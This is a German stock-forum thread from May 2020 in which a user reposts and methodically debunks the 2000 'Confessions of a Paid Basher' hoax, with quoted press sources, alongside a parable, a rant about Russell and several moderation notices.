      http://info-sg.com/senjo_trading_pte_ltd/318573/

      Die Senjo! Na kuck einer an...
      Stand ja erst gestern oder so bei der Financila Times...
      So klein ist die Welt...
      Avatar
      schrieb am 24.05.20 22:10:07
      Beitrag Nr. 285 ()
      Antwort auf Beitrag Nr.: 52.156.696 von jigajig am 10.04.16 14:49:51
      Zitat von jigajig: *** breaking news! ***

      Mönchsstadt/Bunnyhill (10.04.2016)

      Die kurz vor der Insolvenz stehende "Sofa Suite Holding AG" aus Mönchsstadt gab heute bekannt, dass ein privater Investor die Holding samt aller Tochterunternehmen zum symbolischen Preis von 1 indischen Rupie übernommen hat.

      10.04.2016
      Ein Meisterwerk!
      (fiel mir gerade zufällig in die Finger)
      Avatar
      schrieb am 25.05.20 23:19:49
      Beitrag Nr. 286 ()
      Es war einmal ein junger Mann, dem seine Mutter immer sagte, er solle immer nur die Wahrheit sagen und dafür einstehen. Der junge Mann nahm sich das sehr zu Herzen. Als er einmal eine schlimme Wahrheit aussprach, glaubte man ihm nicht. Auch als er das zweite Mal eine schlimme Wahrheit aussprach, wurde ihm nicht geglaubt. Dann kam das dritte Mal. Dieses mal traf es ihn noch härter, denn seine Wahrheit wurde von reichen Männern zur Unwahrheit erklärt und es wurde ihm verboten, seine Wahrheit zu sagen. Er zog hinaus in die Welt und traf sieben weise alte Männer. Er fragte sie: "Was ist die Wahrhei?". Sie antorteten ihm: "Ein Messer ohne Klinge, an dem der Griff fehlt". Der junge Mann war verwirrt... "Warum sollte ich dann für meine Wahrheit einstehen?". Die sieben weisen alten Männer sagten: "Suche die Wahrheit, bis Du Dir sicher bist, dass es die Wahrheit ist. Wie soll Dir jemand Deine Wahrheit nehmen?"
      Der junge Mann dachte nach... "Das erste Mal, als mir nicht geglaubt wurde, ist lange vorbei. Auch das zweite mal kann ich nichts mehr ändern. Aber beim dritten Mal, da werde ich auf die Suiche gehen, bis ich meine Wahrheit gefunden habe." Das tat er, still, verbissen und mit großem Eifer. Als er schon glaubte, nie die Wahrheit zu finden, kamen weise Männer aus einer fernen Insel. Sie erzählten ihre Wahrheit, die auch seine Wahrheit war, aber sie wurden verhöhnt, verspottet und der Lüge bezichtigt. Der junge Mann schloß sich ihnen an, weil er hoffte, die Wahrheit zu finden. "Ich muß für die Wahrheit kämpfen", dachte er und begann zu kämpfen. Von jedem Marktplatz aus schrie er seine Wahrheit hinaus. Aber war es denn schon die wirkliche Wahrheit? Oder nur der Griff des Messers? Oder nur die Klinge? Er setzte alle seine Kräfte ein, die Wahrheit zu finden. Aber die reichen Männer ver´sammelten viele Boten, denen sie schon vor langer Zeit zu viel Reichtum verholfen hatten, um die Wahrheitsfinder auf jedem Marktplatz des Landes zu verspotten und schlecht von ihnen zu sprechen. Eines tages fand sich der junge Mann mitten unter diesen Boten wieder. Er wollte mit ihnen sprechen, wollte ihnen seine Wahrheit erzählen - aber sie hörten ihm nicht zu und zählten nur ihre Goldstücke - und die reichen Männer versprachen ihnen noch mehr Geldstücke. "Nur diese Wahrheitssucher sind unser Problem, bekämpft sie noch mehr".
      Aber der Kampf des jungen Mannes sprach sich im Land herum und viele tuschelten, ob er nicht unterstützt werden müsste bei seiner Suche. Aber alle fürchteten sich vor den reichen Männern.
      Als die Wahrheit den reichen Männern immer näher kam, sandten sie weitere Boten. Diese Boten sprachen beim König vor, er solle die Sucher der Wahrheit in Ketten legen. "Das wird er nicht tun", tuschelte das Volk. Und doch geschah es! Der junge Mann landete im tiefsten Kerker des Landes. Die Boten kamen in den Kerker und sagten "Jetzt werden wir Dich endgültig von der Welt entfernen, Du darfst selbst die Waffe aussuchen, mit der wir Dich töten!". "Dann tötet mich mit der Wahrheit", schrie der junge Mann. Das haben die Männer dann versucht, aber die Wahrheit ist ein Messer ohne Schneide, an dem der Griff fehlt. Als die Männer erkannten, dass er sie an der Nase herumgeführt hatte, wurden sie sehr wütend, zerrten ihn aus dem Kerker, banden ihn an einen Baum vor dem Schloß des Königs, dort sollte er verhungern. Aber mutige Männer aus dem Volk nahmen all ihren Mut zusammen und legten beim König Zeugnis für ihn ab. Der König hörte ihen zu. "Wenn er die Wahrheit sucht, soll er frei sein!" Und er bestimmte, dass man ihn freilassen solle. "Keiner darf ihm etwas zuleide tun, bis er die Wahrheit gefunden hat"
      Fortsetzung folgt
      Avatar
      schrieb am 26.05.20 23:12:12
      Beitrag Nr. 287 ()
      Der englische Philosoph und Mathematiker Bertrand Russell hat einmal gesagt "Wenn fünfzig Millionen etwas Dummes sagen, bleibt es doch etwas Dummes". Ich liebe dieses Zitat. Ich liebe auch Bertrand Russell und habe sehr viele Bücher von ihm gelesen. Eines der Bücher, das mich am meisten beeinflusst hat, war "Warum ich kein Christ bin"
      https://de.wikipedia.org/wiki/Warum_ich_kein_Christ_bin
      Die Welt ist ziemlich verrückt, denn es gibt sehr viele Menschen, die keine Christen mehr sind - aber sie würden niemals diesen Vortrag begreifen. Sie sind zu dumm dafür. Und trotzdem sind sie keine Christen mehr. Aber ihre Abkehr vom Christentum ist auf eine Weise begründet, die nichts mit dem klugen Vortrag des Bertrans Russell zu tun hat. Sie sind keine Christen, weil keiner mehr sie dazu zwingt, Christen zu sein. Sie haben sich von der Religion gelöst, aber nicht aufgrund eines Entscheidungsprozesses und nach Abwägung der Für und Widers, sondern weil es halt gerade so passt und man die verbreitete Tendenz zu einer Abkehr von der Reiligion halt so mitnimmt wie andere Hartz IV.
      Es sind Idioten.
      Apropos Idioten: wie arrogant muß man sein, um Menschen als Idioten zu bezeichnen, nur, weil sie weniger messbare Intelligenz haben, kein Abitur, keinen Beruf, der etwas zählt? Aber manchmal passiert das auch Menschen, die eigentlich weit entfernt davon sind, arrogant zu sein. Es passiert, wenn Menschen, deren Dummheit man empirisch belegen kann, erfolgreicher darin sind, ihre Wahrheit, die eine Dummheit ist, zur geltenden Meinung zu machen. In ihrer Verzweiflung werden kluge Menschen zu Sarkasten - und arrogant.
      Sie stellen ihre intellektuelle Überlegenheit zur Schau, als ob diese irgendeine Bedeutung hätte,
      Meistens erzeugt das Widerstand bei den "dümmeren" Menschen - und weil diese natürlich in der Mehrheit sind, stellen sich damit die "intelligenteren" Menschen selbst ins Abseits. Denn auch wenn Bertrand Russel zurecht und völlig zutreffend sagt "Wenn fünfzig Millionen etwas Dummes sagen, bleibt es doch etwas Dummes", so kann es einem intelligenten Menschen trotzdem passieren, dass er sich 50 Millionen Dummen gegenüber sieht, die über ihn hinwegtrampeln wie eine Herde Büffel. Da nützt alle Intelligenz nichts.
      Und es kann sogar passieren, dass jemand das von außen betrachtet und sagt "was für ein Idiot, sich gegen 50 Millionen Dumme zu stellen. Jetzt sind es 50 Millionen Dumme und 1 Dummer". Aber dieser Blick von außen ist manchmal schwer, wenn man so sehr beschäftigt ist mit einer Fragestellung, dass man ds Außen nicht mehr registriert. Das kann einem passieren, wenn man Coronaforscher ist wie Herr Drosten (dann ist das sehr bedauerlich, weil es von großer Relevanz ist), oder wenn man als Jigajig gegen Hunderte Dumme kämpft wegen einer depperten Aktie. Dann ist das irrelevant, Makrokosmisch betrachtet,
      Schönen Abend

      PS: Der Entzug der Schreibrechte für Jigajig ist sachlich unbegründet. Ich bin klug genug, die Entscheidungsprozesse nachvollziehen zu können. Ich bin nur nicht schlau genug, das einfach hinzunehmen. Ich werde kämpfen. Gegen Windmühlen.
      Avatar
      schrieb am 27.05.20 22:18:20
      Beitrag Nr. 288 ()
      Die Legende vom angeblichen Beweis der Existenz von Paid-Bashern im historischen Rückblick und im Hinblick auf aktuelle Fundstellen dieses Fakes

      #paidbasher
      #urbanlegend

      Es war einmal eine wilde Zeit... In New York standen noch die zwei großen Wolkenkratzer, an der Börse war gerade die Dotcomblase am Platzen, nach einem ersten heftigen Kursrückgang schien gerade eine große Erholung stattzufinden. Kaum einer konnte sich wohl vorstellen, dass die Kurse nach dieser Erholung erst so richtig ins Rutschen kamen und Tiefs erreichten, die auf der ganzen Welt besonders Börsenneulingen Tränen in die Augen trieben...

      Am Tag genau ein Jahr vor dem Terroranschlag auf das World Trade Center erschien auf „The Street“ ein kleiner, wenig beachteter Artikel von einem gewissen Robert Kowalski, der dort ungefähr einmal pro Woche über Geschehnisse auf dem Aktienmarkt berichtete.

      Eine Woche zuvor hatte Kowalski noch über den Fall des Brokers John D’Alessio geschrieben, dem die SEC an den Karren fahren wollte wegen Mauscheleien in großem Stil an der Börse in den frühen Neunzigern, die laut seinen Angaben mit dem Wissen und der Unterstützung der Börse selbst stattgefunden haben, die davon profitiert habe. Der Fall wurde 2001 still und leise eingestellt gegen eine Strafe von 200.000 US$, wie ebenfalls Robert Kowalski im Jahr danach berichtete (Quelle)

      Während D’Alessios Fall heute wohl keinem mehr ein Begriff ist, sind die Auswirkungen der Geschehnisse, die Kowalskis unscheinbarer Artikels vom 9.11.2000 thematisiert, auch heute noch relevant, fast 20 Jahre nach dem Erscheinen eines Postings auf „Raging Bull“, einem Börsenforum, das noch heute existiert (link)(siehe Wikipedia zur Geschichte)

      Damals sah das Forum noch ganz anders aus:


      Der „Raging-Bull“-User firebird_1965 (a.k.a. „Steve Tracy“, a.k.a. „Tom Martin“) verfasste am 1. November 2000 um 11:51 morgens EST ein ziemlich langes und detailliertes Posting, das hohe Wellen schlug. Es ging um nichts weniger als die „Geständnisse eines bezahlten Bashers.


      Das Originalposting wurde relativ schnell gelöscht, aber es kursierte schon auf diversen Boards, noch ehe der klärende Artikel von Robert Kowlaski erschienen war.
      https://boards.fool.com/basher-trys-to-come-clean-on-enga-13…
      1 Antwort
      Avatar
      schrieb am 27.05.20 22:19:16
      Beitrag Nr. 289 ()
      Jetzt erst einmal zu dem Posting selbst:

      Den Timestamp des Postings, das (wie gesagt) nicht mehr verfügbar ist, entnehme ich dieser Quelle (https://boards.fool.com/basher-trys-to-come-clean-on-enga-13… )




      In dieser Quelle wurde das komplette Posting in seiner ursprünglichen Fassung kopiert. Here we go:

      (geposted wurde das von einem User “bulldodge”. Ein Bulle halt... (Quelle)
      here is the Basher Confession..
      By: firebird_1965 $$
      Reply To: None Wednesday, 1 Nov 2000 at 11:51 AM EST
      Post # of 220130



      http://www.ragingbull.altavista.com/mboard/boards.cgi?board=…

      Confessions of a Paid Basher

      By Tom Martin
      aka “Steve Tracy”
      aka “Firebird_1965”

      Today I want to come clean about something I feel very badly about. I cannot undo some of the things I have done, but hopefully this message will prevent other such occurrences in the future.

      I am a paid basher.

      Yes, it is true. Today is my last day at this company; I'm moving on to a new job. But before I go, I want to explain a few things because this just isn't right and I won't feel good about myself until I expose this sham. It's hurt too many people and I don't want it on my conscience anymore. I can no longer live with a lie.

      I work for a company called Franklin, Andrews, Kramer & Edelstein in Stamford, CT. Basically, it's a Boiler Room much like the one in the movie of the same name. The idea behind my group is to bash the price of a company's stock down low enough to where the group of investors who retained our company's services can buy the stock really cheap and perhaps even take it over all together.

      There are approximately 70 people at the company divided into several groups. My group, consisting of 5 people, is responsible for BIFS. While I probably shouldn't give any names of anyone working here now, what the heck, I'm leaving here, so what can they do – sue me? Ha! I can tell you that GUTTWRENCH was part of my group until he left last week, as was Richardphx. Others who have been part of this include early bashers like Epiphonics and Simontaz. You may be interested to know that some hypsters, such as Amato7 and BIFWATCHER, have also been part of the scam (more on that later).

      There are several companies engaged in the bashing business – ours is not the only one. However, I can tell you that not every basher in here is a paid basher. Having done this for two years, I can usually tell who is a paid basher and who is merely someone having a little fun. While unpaid bashers have a different motive than someone like me, they can be unwilling accomplices to helping me achieve my ultimate goal and they also spread rumor and confusion throughout a room, which also helps me.

      What is that goal? Well, I am merely a cog in a much larger machine, so my bosses never really explained the big picture to me, but I'd say essentially, GUTTWRENCH was right. There are several companies who are quite familiar with SWOMI and who are deathly afraid of it.

      There are three types of bashers here at Franklin, Andrews, Kramer & Edelstein: Advanced, Intermediate and Beginner. An Advanced-level basher (also known as a Silver Tongued Devil) would spread false or misleading information about the company. They would deal in facts, countering every longs post with articles, news reports and opinion surveys that gave a negative impression about the company.

      An Intermediate-level basher (also known as a Serpent) would try to weasel their way into the confidence of longs and create doubt using rumor or innuendo.

      Finally, a Beginner-level basher (also known as a Pitchfork) would attempt to create confusion in the room by distracting other posters with satire, name calling and pointless arguments. The idea was to make sure no serious discussion of the stock could take place. A Pitchfork was usually a basher, but not always. Sometimes, we would throw in a hypster Pitchfork such as Amato7 or BIFSWATCHER to create the illusion of an argument going on. What was really funny (in a perverse way, I guess) was that Amato7 and I sat next to each other, laughing the whole time.

      I was a Pitchfork. I was paid a base wage of $12 an hour for my services. I was given a $1 bonus for every post over 100 per day as well as a monthly bonus of $100 for every penny the stock had dropped from the previous month. I was also paid a bonus for bashing on weekends. While this may not sound like much, I made a decent, though dishonorable, paycheck.

      Each of us sat in a small half-cubicle in a cluster with our teammates. Each group (usually five people) was made of three beginners (two who would bash and one who would hype), one intermediate and one advanced level basher. Occasionally for some of the hotter stocks, one of the beginners would be replaced by an intermediate depending on how much the stock was rising. BIFS was a low-level stock, meaning it got the 3-1-1 configuration.
      Somehow, I get the feeling that JPACK2 may have worked for a basher company or knows someone who does because the “Basher Handbook” he occasionally posts is eerily similar to the one we actually use. While not a word-for-word match, I'd say it is about 90 percent the same. We do have certain rules that we follow.

      First, we have to develop a character and stay within that character in order to build a “following.” My character, “Firebird_1965,” was a sarcastic, obnoxious supporter of free speech, but only when it came to bashers.

      Next, we had to follow certain guidelines on what we could say. We were urged to have an “answer” to every long's question, but we were to frame that answer in a way that ridiculed the questioner for asking such a question. However, we were never to use profanity or vulgarity because that would cause people to ignore us. We were to make fun of people, but in a civil way. The idea was to get “play,” i.e. – reaction from other posters. The more play we got, the more the room would be disrupted. Ignored posters get no play. One exception would be the hypster – since they were “defending” the stock against our onslaught, they got a little more leeway. People would side with the hypster because they thought he was real since he appeared to be on their side, but was really on ours, setting us up to disrupt the room. Padelcars is quite good at this and gets paid very well.

      I've worked on BIFS for about three months now. In addition to the Firebird_1965 alias, I've used a few others on the BIFS and several other boards as well. I stuck with Firebird_1965 because it was the one that got the most play from other posters.

      In closing, I feel absolutely terrible about this. It's just awful how I've been part of a scam designed to cheat honest, hard-working people out of their investments all for the benefit of a few wealthy people who already have enough money to last a lifetime. These greedy people MUST be stopped. That's why I'm posting this before I leave. I want to make up for some of the damage I've done. I can't live with this lie anymore. You can't imagine how hard it is to look at myself in the mirror each morning knowing my job is to cheat and lie.

      I have to go now, I'm too broken up to continue. I hope this confession can make up for my sordid deeds; I would urge everyone who reads this to copy and repost it as many times as you can. Only by shining the light of truth can we drive these rats back into the darkness from whence they came. Believe me, they don't want publicity.

      I hope all of you can forgive me and save me a seat on that BIFS rocket to the moon. If this helps, let me leave you with this…

      GO BIFS!!!!

      With fervent remorse,

      Tom Martin
      aka “Steve Tracy”
      aka “Firebird_1965”

      enjoy and best wishes
      ~dodge

      Robert Kowalski schrieb dazu

      Tracy posted the purported mea culpa with considerable fanfare, including a message-by-message countdown to its launch.
      In the missive, he came clean in gushing prose about what many of the conspiratorial types have suspected for months about the Internet message boards: He claimed he was being paid to bash stocks as part of an orchestrated effort to drive their prices down.
      (Tracy postete das angebliche mea culpa mit beträchtlichem Trara, einschließlich eines Countdowns für jede einzelne Botschaft bis zum Start. In dem Schreiben machte er in überschwänglicher Prosa deutlich, was viele der Verschwörungstypen seit Monaten über die Internet-Messageboards vermuteten: Er behauptete, dass er dafür bezahlt werde, Aktien als Teil eines orchestrierten Versuchs, ihre Preise zu drücken, zu zerschlagen.)
      Avatar
      schrieb am 27.05.20 22:19:54
      Beitrag Nr. 290 ()
      Zur Auflösung:

      Das obige Fullquote erschien am Tag nach dem Original, am 2. November 2000 um 12:27 AM
      Noch am selben Tag erschien eine Antwort, die das Posting nicht nur bereits jetzt als Fake enttarnte, sondern sogar noch aufzeigte, dass bulldodge einen kleinen Satz (zufällig?) „übersehen“ hatte:
      "and if you believe this... lol " is at the end of the original post That was missing from the one on the link provided in your post.
      Be careful out there.
      jj
      http://www.ragingbull.altavista.com/mboard/boards.cgi?board=…
      (Man beachte: “jj”... etwa jigajig?)
      Unter dem angegebenen Link wird bereits auf eine entsprechende Diskussion dieser angeblichen „Geständnisse eines bezahlten Bashers“ verwiesen, aus der hervorging, dass es nicht ernst gemeint war...
      Doch das konnte die Geschichte nicht mehr stoppen. Diese angeblichen Geständnisse machten weltweit die Runde, wobei der Text einigen Änderungen unterzogen wurde. So wurde beispielsweise relativ schnell der Name der angeblichen Firma geändert. Doch dazu gleich mehr...
      Bereits in dem Artikel von Robert Kowalski wird die schnelle Verbreitung des Beitrags erwähnt (https://www.thestreet.com/technology/raging-bull-chat-room-d… )
      But that's [die Tatsache, dass es mit "and if you believe this... lol" endete] the part no one picked up initially when they electronically copied the confession and began posting it all over other message board sites under headings for at least a dozen different stocks.
      Robert Kowalski zitiert Tracy aus einer Mail:
      "In my view, this thing has gotten totally ridiculous. While at first I was pleased at the reception it received, I am quite dismayed that so many people would believe what I had thought to be an obvious joke."
      (Meiner Meinung nach ist diese Sache völlig lächerlich geworden. Während ich mich anfangs über die Reaktion gefreut habe, bin ich ziemlich bestürzt darüber, dass so viele Leute glauben, was ich für einen offensichtlichen Witz gehalten hatte )

      weiter:
      There is no listing for Franklin Andrews in the Stamford phone directory. No sign of it in standard corporate records databases either. One clever observer later noticed a pattern in the first initials of each name in the firm when linked together: F-A-K-E.
      "Come on, that's as obvious and silly as those acronyms they used in the old 1960s spy movies," Tracy said.

      Und zum Abschluß seines Artikels zitiert Robert Kowalski noch einmal den Verfasser:

      "The truly sad thing is that after learning it was a put on, some of these people still want to believe it was part of some grand conspiracy," he said. "My suggestion to these people is: Don't go to Burger King for a while -- you've already had your share of Whoppers!"
      (Das wirklich Traurige ist, dass, nachdem sie erfahren haben, dass es sich um eine Inszenierung handelt, einige dieser Leute immer noch glauben wollen, dass es Teil einer großen Verschwörung war", sagte er. "Mein Vorschlag an diese Leute lautet: Gehen Sie für eine Weile nicht zu Burger King - Sie haben schon Ihren Anteil an Whoppers gehabt.)(Whoppers ist hier ein Wortspiel, es bedeutet hier wohl „Bullshit“)

      https://www.thestreet.com/technology/raging-bull-chat-room-d…
      Avatar
      schrieb am 27.05.20 22:20:46
      Beitrag Nr. 291 ()
      Was passierte mit diesem Fake?


      Dazu ein Artikel aus dem Jahr 2007:
      https://valuewiki.wordpress.com/2007/04/26/the-myth-of-the-p…
      „The Myth of the “Paid Basher”
      Post anything mildly critical on a stock message board, and chances are someone will eventually call you a paid basher. No matter how cogent your argument, you will soon find yourself on the defensive, with your credibility on the run.
      (Wenn Sie irgendetwas leicht kritisches auf einem Börsenforum veröffentlichen, besteht die Chance, dass Sie irgendwann als bezahlter Basher bezeichnet werden. Ganz gleich, wie stichhaltig Ihr Argument auch sein mag, Sie werden sich bald in der Defensive befinden, und Ihre Glaubwürdigkeit geht dahin.)

      To prove “paid bashers” exist, message board regulars will post this Confessions of a Paid Basher, allegedly written by a guilt-ridden employee of Global Calumny Funds in Stamford, CT. This confessed “paid basher” outlines how he is paid to manipulate stock message boards, (...)
      This article is held up as final proof of the paid basher conspiracy. But there’s just one problem… It’s a Fake
      (Um zu beweisen, dass es "bezahlte Basher" gibt, werden Stammgäste der Messageboards dieses Geständnis eines bezahlten Bashers veröffentlichen, das angeblich von einem schuldbeladenen Mitarbeiter des Global Calumny Funds in Stamford, CT, verfasst wurde. Dieser gestandene "Paid Basher" skizziert, wie er für die Manipulation von Börsen-Boards bezahlt wird (...) Dieser Artikel wird als endgültiger Beweis für die Paid Basher-Verschwörung angeführt. Aber es gibt nur ein Problem... Es ist eine Fälschung)
      (Dann wird die Geschichte des postings beschrieben unter Verweis auf meine obigen Originalquellen)

      Das Fazit bei Valuewiki:

      Why Paid Bashing Doesn’t Exist
      There are only two possible profit motives of “paid bashing”: to short a stock or buy it at a cheaper price. But either explanation falls flat. Only microcap stocks are small enough to conceivably be manipulated by an online message board. But it is virtually impossible to find a broker who will allow anyone to short a stock under $5. Not only is shorting penny stocks closely regulated, but it seems obvious that brokerages would quickly go bankrupt if they allowed the practice.
      (...)
      I’ve followed these accusations on stock message boards for more than a decade, and not one ounce of proof has ever been produced. It is clear that the burden of proof is to provide evidence that such operations do exist, since there is only evidence that they do not.

      (Warum es Paid Bashing nicht gibt
      Es gibt nur zwei mögliche Gewinnmotive für "bezahltes Bashing": eine Aktie leerzuverkaufen oder sie zu einem billigeren Preis zu kaufen. Beide Erklärungen fallen jedoch ins Leere. Nur Microcap-Aktien sind klein genug, um möglicherweise durch ein Online-Messageboard manipuliert zu werden. Aber es ist praktisch unmöglich, einen Broker zu finden, der es jemandem erlaubt, eine Aktie unter 5 Dollar zu leerverkaufen. Das Leerverkaufen von Penny-Aktien ist nicht nur streng reguliert, sondern es scheint offensichtlich, dass Maklerfirmen schnell bankrott gehen würden, wenn sie diese Praxis zulassen würden.
      (...)Ich verfolge diese Anschuldigungen auf den Message Boards für Aktien seit mehr als einem Jahrzehnt, und kein einziger Beweis wurde je erbracht. )

      Als besonderes Leckerli habe ich hier einen Screenshot der Originalmeldung. Es war nicht so einfach, den zu finden...
      https://www.img1.de/?img=paidbasherurbanlegendc1cf6.jpg
      Quelle: http://web.archive.org/web/20010111010500/thestreet.com/tech…
      Avatar
      schrieb am 27.05.20 22:21:32
      Beitrag Nr. 292 ()
      Die Geschichte der Fake-Geständnisse im Forum wallstreet-online.de
      Ich könnte jetzt hunderte Beispiele aus der ganzen Welt aufzählen, in denen dieses Fake-Posting eingesetzt wurde, um Kritiker zu diskreditieren. Aber ich will mich auf Wallstreet-Online beschränken.
      Es ist gar nicht so einfach, herauszufinden, wann das Posting das erste Mal auftauchte. Es kursieren sowohl englische als auch deutsche Fundstellen. Hier einmal eine Google-Suche nach dem englischen Original auf den Seiten von wallstreet-online.de
      https://t1p.de/io9ml
      Ich habe, zusammen mit Kollegen, diese Googletreffer analysiert und kam auf dieses Posting als ältestes Zitat (vom 6.11.2000, also bereits 5 Tage nach dem Original)
      https://www.wallstreet-online.de/diskussion/500-beitraege/29…
      (Der Beitrag ist nicht mehr direkt verlinkbar...)
      Der vorangestellte Text vor dem Fullquote lautet (und das ist sehr bezeichnend!)
      Was zahlen die euch damit Sie so BASHEN Herr ODIN? an alle BASHER: ProfiBasher oder soll ich sagen Silberzuengige Teufel? Schlangen? oder Mistgabeln? Gestaendnis eines bezahlten Runterdrueckers!!!

      Das Zitat enthält sogar die Firma „Franklin, Andrews, Kramer & Edelstein“ – F.A.K.E.
      Man lese mal bitte die Postings davor und die wüsten Beschimpfungen...

      Dann gab es postings mit einer deutschen Übersetzung, die ein User „HankTheKnife“ verfasst haben soll:
      Hier wieder alle gefundenen Suchergebnisse auf wallstreet-online.de
      https://t1p.de/zcuq9
      Wir haben hier einen Favoriten, das sind Beiträge des Users „spekulativ“
      https://www.wallstreet-online.de/diskussion/500-beitraege/42…
      Einleitung:
      „Von HankTheKnife.
      Also jetzt aber nen kühles Blondes
      Dachte ja nun nicht, daß das alles hier in Arbeit ausartet, aber irgendwie fand ich den Text einfach zu klasse, um ihn nicht zu übersetzen.“
      Schlußsatz:
      „Mit Dank an User KernCodex, Übersetzt, von HTK, ohne Gewähr.
      Paßt hier rein Gruß spekulativ“
      Auch mit einer Googlesuche ist es nicht eindeutig zu klären
      https://t1p.de/zcuq9
      Es findet sich folgender Satz im Forum:
      „Im regulierten OTC-Board von WO findest Du einen Thread von HankTheKnife in dem ein sehr interessanter Bericht über Basher zu finden ist
      Gruß Amada“
      In diesem Thread postet auch HankTheKnife
      Auch diesen Thread mal lesen
      https://www.wallstreet-online.de/diskussion/500-beitraege/42…
      Der User „HankTheKnife“ ist seit 11 Jahren nicht mehr hier
      https://www.wallstreet-online.de/userinfo/253229-hanktheknif…
      Avatar
      schrieb am 27.05.20 22:22:37
      !
      Dieser Beitrag wurde von CloudMOD moderiert. Grund: kein Bezug zum Thredthema, Verlinkungen nicht abrufbar
      Avatar
      schrieb am 27.05.20 23:31:10
      Beitrag Nr. 294 ()
      Antwort auf Beitrag Nr.: 63.825.272 von jigajig am 27.05.20 22:22:37Witzig, dann wurde das Originalposting:



      tatsächlich sozusagen nachträglich "redigiert":



      Die 8 Bewertungen als "informativer Beitrag" hatten sich vermutlich noch auf die Originalversion bezogen.

      Ich persönlich fände es ja deutlich angemessener, Dauer-Verleumdern wie Invest63 die Schreibrechte zu entziehen, aber ich habe hier nicht das "Hausrecht".
      Avatar
      schrieb am 27.05.20 23:44:51
      !
      Dieser Beitrag wurde von CloudMOD moderiert. Grund: themenfremder Inhalt
      Avatar
      schrieb am 28.05.20 08:14:18
      Beitrag Nr. 296 ()
      Alleine die Tatsache, dass es sich bei Wirecard um einen 10 Mrd Wert handelt, der aktuellen jeden Tag von unzähligen Blogs, Klickbaitfarmen und anderen Lohnschreibern betrachtet wird, lässt jeden der sich die Hose nicht mit der Beißzange anzieht erkennen, dass es nichts bringt jemanden zu bezahlen, damit er bei wallstreet online irgendetwas gegen Wirecard schreibt.

      Ok, hier haben sich offensichtlich eine Gruppe von Nutzer die alle Angst um ihre Spargroschen haben auf Jigajig eingeschlossen, aber die Reaktion ist so ziemlich das lächerlichste was ich in meiner ganzen Zeit hier gesehen hab.
      Avatar
      schrieb am 28.05.20 11:32:56
      !
      Dieser Beitrag wurde von CloudMOD moderiert. Grund: Beleidigung
      Avatar
      schrieb am 28.05.20 11:51:33
      Beitrag Nr. 298 ()
      Sorry, jetzt habe ich vermutlich durch die Meldung von Levity CloudMod angelockt, der dem Hausrecht von Wallstreet Online zum Durchbruch verhilft.
      1 Antwort
      Avatar
      schrieb am 28.05.20 11:58:58
      Beitrag Nr. 299 ()
      Antwort auf Beitrag Nr.: 63.829.703 von Der Tscheche am 28.05.20 11:51:33Nicht weinen christian 😜
      Avatar
      schrieb am 28.05.20 16:29:23
      Beitrag Nr. 300 ()
      Das mit dem "themenfremdem Inhalt" in einem Spam und Laberstrang finde ich auch witzig.

      Aber was hat das da mit den Badges auf sich? Und warum erhält man nach 4 Wochen einen mit Gold Status als "alter Hase"?
      1 Antwort
      Avatar
      schrieb am 28.05.20 17:00:41
      Beitrag Nr. 301 ()
      Antwort auf Beitrag Nr.: 63.833.273 von Svabo am 28.05.20 16:29:23Das "witzig" kann man nur unterschreiben. Das Abzeichen bekommst Du, weil Du schon lange angemeldet bist (wobei ich das Gefühl habe, dass man da schon "volle Punktzahl" bekommt, wenn man 2 Jahre dabei ist oder so).
      Avatar
      schrieb am 28.05.20 18:23:21
      Beitrag Nr. 302 ()
      Dummer Fehler... 9/11 war natürlich der 11.9., nicht der 9 11.
      Ich habe das gestern am Stück hingerotzt, sorry, beim aufmerksamen Lesen wäre es mir aufgefallen.
      Avatar
      schrieb am 28.05.20 18:28:57
      Beitrag Nr. 303 ()
      Wurde da jetzt ernsthaft ein Beitrag in einem OffTopic gelöscht, weil ein Zitat nicht korrekt verlinkt war? Bei der Fülle an Belegen für meine Aussagen?
      Avatar
      schrieb am 28.05.20 21:17:44
      Beitrag Nr. 304 ()
      hat jmd zufällig den wiwo artikel elektronisch ?

      https://www.wiwo.de/themen/wirecard
      7 Antworten
      Avatar
      schrieb am 28.05.20 21:48:42
      Beitrag Nr. 305 ()
      63.825.272 (Beitrag 293) "Kein Bezug zum Thredthema, Verlinkungen nicht abrufbar"

      Hmm. Das ist komisch. Bei mir funktionieren alle Links. Und themenfremd kann etwas in Off Topic doch gar nicht sein. Na ja.

      Ich versuche es jetzt noch einmal und hoffe, dass alle Links abrufbar sind und "themenfremde Inhalte" ausreichend entfernt wurden :)

      Das fake-Posting "confessions of a paid basher" (Geständnisse eines bezahlten Bashers) in der Gegenwart

      Eine deutsche Fassung des Fakes tauchte vor einigen Tagen hier im Forum auf:
      https://www.wallstreet-online.de/diskussion/1140904-103901-1…
      Gepostet von awsx am 29.04.20 21:21:22
      Und zwar im Zusammenhang mit diesem Posting
      https://www.wallstreet-online.de/diskussion/1140904-103901-1…
      Es wird Bezug genommen auf einen mittlerweile gelöschten Beitrag in einem anderen Forum, das eine "angeblich" "versehentlich" verschickte Boardmail zum Inhalt hatte.
      Wer dieses Forum kennt, weiß, dass (ebenso wie hier) ein versehentliches Abschicken einer Boardmail als Beitrag quasi unmöglich ist.

      Im Wallstreet-Online-Forum tauchte (allgemeien oder konkret im Zusammenhang mit Jigajig) immer wieder die Theorie von „bezahltem Bashing" auf.

      Ich habe sie (und wie man anhand der hier geposteten Quellen und Nachweise sehen kann zurecht) als "urban legend" bezeichnet, zumindest, wenn man das Fake-Posting oder "angeblich" "versehentliche" verschickte Boardmails als Beleg heranzieht (wobei es einen RIESIGEN Unterschied macht, ob jemand das als Witz macht oder in manipulativer Absicht. Jigajig versus "Kornblume.")

      Ich habe, um aufzuzeigen, wie absurd diese Geschichte um eine "angeblich" "versehentlich" gepostete "Boardmail" ist, quasi eine Kopie der hier im Forum diskutierten Aktion aus einem anderen Forum gemacht und diese eindeutig in den Kontext (Parodie, Persiflage, wie man es will) gesetzt.



      Wenn man das alles liest und objektiv bewertet, kann man niemals mehr behaupten, dass jigajig eine "Agenda" habe, die irgendetwas mit "bezahltem Schreiben" zu tun hat (mit Ausnahme der Tatsache vielleicht, dass ich hier gut belegbar aufzeige, wie unsinnig das Argument ist, vor allem wenn zur Unterstützung auf ein angebliches Geständnis Bezug genommen wird, dass ich hier hoffentlich ein für alle mal als Fake entlarvt habe)


      Ungeachtet der Frage, ob es vielleicht doch paid basher geben könnte (undenkbar ist das ja tatsächlich nicht!):

      Dass jigajig ein bezahlter Basher ist, ist eine infame Lüge.
      Dass jigajig unter mehreren IDs schreibt, ist eine infame Lüge.
      Das andere User mit jigajig verbundene paid basher sind, ist eine infame Lüge.
